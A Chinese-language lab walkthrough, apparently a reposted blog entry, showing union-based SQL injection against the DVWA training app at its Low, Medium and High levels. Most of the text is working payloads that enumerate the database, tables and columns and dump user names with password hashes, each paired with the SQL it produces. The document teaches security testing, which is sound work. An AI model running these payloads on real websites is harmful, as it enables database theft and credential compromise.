SQL Injection

叁歲伎倆 2022-01-12 12:53 127阅读 0赞

## Low级别 ##

### 判断是否存在注入点 ###

输入1提交

![1208477-20190620151644249-25146317.png][]

输入1 and 1=1提交

SELECT first_name, last_name FROM users WHERE user_id = '1'

![1208477-20190620151718075-504575920.png][]

![1208477-20190620152154429-641223537.png][]

输入1 and 1=2提交

![1208477-20190620151839607-1327817825.png][]

![1208477-20190620152133855-1942951341.png][]

由上可以看出是存在注入点的，参数为id

SELECT first_name, last_name FROM users WHERE user_id = 'id'

### 利用漏洞获取信息 ###

#### 获取当前库名 ####

1后面的‘是为了使前面的参数闭合最后的\#是为了注释‘

1' union select 1,database()#

![1208477-20190620152547259-1729325797.png][]

实际执行sql

SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,database()#'

#### 根据库名获取所有表名 ####

1后面的‘是为了使前面的参数闭合最后的\#是为了注释‘

1' union select 1,table_name from information_schema.tables where TABLE_SCHEMA='dvwa'#

![1208477-20190620154821787-1657717800.png][]

底层执行sql

SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,table_name from information_schema.tables where TABLE_SCHEMA='dvwa'#'

#### 根据表名获取表的列 ####

1后面的‘是为了使前面的参数闭合最后的\#是为了注释‘

1' union select 1,column_name from information_schema.columns where table_name='users'#

![1208477-20190620155149987-544883771.png][]

底层执行sql

SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,column_name from information_schema.columns where table_name='users'#'

#### 获取数据 ####

1' union select1,concat(user,password) from users#

![1208477-20190620155444297-110727956.png][]

底层sql

SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,concat(user,password) from users#'

## Medium级别 ##

此时限制用户输入，只允许手动选择，并且代码中加入检测单引号机制，如果有单引号会默认在前面加上一个反斜杠/

![1208477-20190620155815414-979506586.png][]

可以用hackbar试一下或者用burpsuite抓包试一下，并且不再用'

### 查询当前库 ###

1 union select 1,(select database())

![1208477-20190620170255418-1322086893.png][]

底层sql

SELECT first_name, last_name FROM users WHERE user_id = 1 union select 1,(select database())

### 查询所有表 ###

1 union select 1,table_name from information_schema.tables where table_schema=(select database())

burp拦截到请求send to Repeater。

![1208477-20190620165647530-991402280.png][]

底层数据sql

SELECT first_name, last_name FROM users WHERE user_id = 1 union select 1,table_name from information_schema.tables where table_schema=(select database())

## High级别 ##

高级和初级是一样的，只不过加了limit 1和弹框

## 工具的使用 ##

[使用工具Sqlmap][Sqlmap]

转载于:https://www.cnblogs.com/aeolian/p/11058938.html

[1208477-20190620151644249-25146317.png]: /images/20220109/9491b75939a64f11be79b586cbe42105.png
[1208477-20190620151718075-504575920.png]: /images/20220109/20616220d97044298151705d99b34808.png
[1208477-20190620152154429-641223537.png]: /images/20220109/803b80cb193d4dd1aee8de9032a3856d.png
[1208477-20190620151839607-1327817825.png]: /images/20220109/7f3e2b4af6c84fa78084fa101de7e71e.png
[1208477-20190620152133855-1942951341.png]: /images/20220109/29f9cf163a8d490aac0f3277004f3fb8.png
[1208477-20190620152547259-1729325797.png]: /images/20220109/0926c82a71f946ffa675229e21391fef.png
[1208477-20190620154821787-1657717800.png]: /images/20220109/514d64decb3341b6a630aebbb36e24b9.png
[1208477-20190620155149987-544883771.png]: /images/20220109/7364914d11bb42428fd6faebf2a3c04c.png
[1208477-20190620155444297-110727956.png]: /images/20220109/36c717eecc8d4c68a937ed8fa33882eb.png
[1208477-20190620155815414-979506586.png]: /images/20220109/670cc11cbf664a789c338c404b978957.png
[1208477-20190620170255418-1322086893.png]: /images/20220109/c256acf52391471e9e4d703119168bca.png
[1208477-20190620165647530-991402280.png]: /images/20220109/c8b00b34dfa7444e8aa08ce9bb8925a3.png
[Sqlmap]: https://www.cnblogs.com/aeolian/p/11021796.html